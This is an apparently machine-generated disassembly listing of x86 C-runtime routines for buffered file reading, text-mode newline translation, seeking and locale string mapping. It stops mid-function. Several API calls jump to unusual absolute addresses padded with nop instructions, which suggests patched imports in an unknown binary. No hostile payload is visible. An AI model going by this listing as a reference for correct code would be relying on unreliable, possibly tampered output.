; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------

loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------

loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_48B340[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------

loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_43BC20

loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h

loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_48B440
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:48B340h[eax*4]
		mov	eax, dword_48B340[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 25F1127h
		test	eax, eax
		jnz	short loc_41E3E9
		nop
		call	near ptr 2610941h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_48A014, 9
		mov	dword_48A018, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD

loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------

loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------

loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh

loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3

loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------

loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 25F1127h
		test	eax, eax
		jnz	short loc_41E48A
		nop
		call	near ptr 2610941h
		test	eax, eax
		jnz	short loc_41E4D1

loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC

loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------

loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5

loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh

loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi

loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------

loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al

loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------

loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh

loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_48B440
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_48A014, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2690000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		call	near ptr 2610941h
		nop
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------

loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax

loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------

loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh

loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx

loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_48B340[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx

loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]

loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------

loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_48A014, 16h

loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------

loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]

loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------

loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------

loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7

loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]

loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]

loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_48A0C0, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2840000h
		nop
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_48A0C0, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------

loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43C824
		push	esi
		push	edi
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	loc_41E897
		mov	dword_48A0C0, 2

loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_48A0C0
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2830000h
		jmp	loc_41E899
; ---------------------------------------------------------------------------

loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax

loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 25F0000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2840000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2840000h
		nop
		test	eax, eax
		jnz	loc_41E926

loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax

loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------

loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2770000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897

loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_48B444
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_43B940

loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43BA30
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28413B4h
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		cmp	[ebp+var_18], 1
		mov	dword_48B444, esi
		rep stosd
		stosb
		mov	dword_48B664, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]

loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_48B561[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------

loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B950[esi]

loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26

loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_43B938[edx]

loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_48B561[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14

loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA

loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_48B45C, 1
		push	eax
		mov	dword_48B444, eax
		call	sub_41EB10
		lea	esi, dword_43B944[esi]
		mov	edi, offset dword_48B450
		movsd
		movsd
		pop	ecx
		mov	dword_48B664, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4

loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax

loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_48B561[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_48B664, eax
		mov	dword_48B45C, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------

loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_48B45C, ebx

loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_48B450
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_48A0C4, ebx
		jz	short loc_41EABE

loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43

loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C

loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------

loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh

loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_48A0C4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 25C0ADAh
; ---------------------------------------------------------------------------

loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_48A0C4, 1
		jmp	near ptr 2841A69h
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------

loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_48A0B8
		mov	dword_48A0C4, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
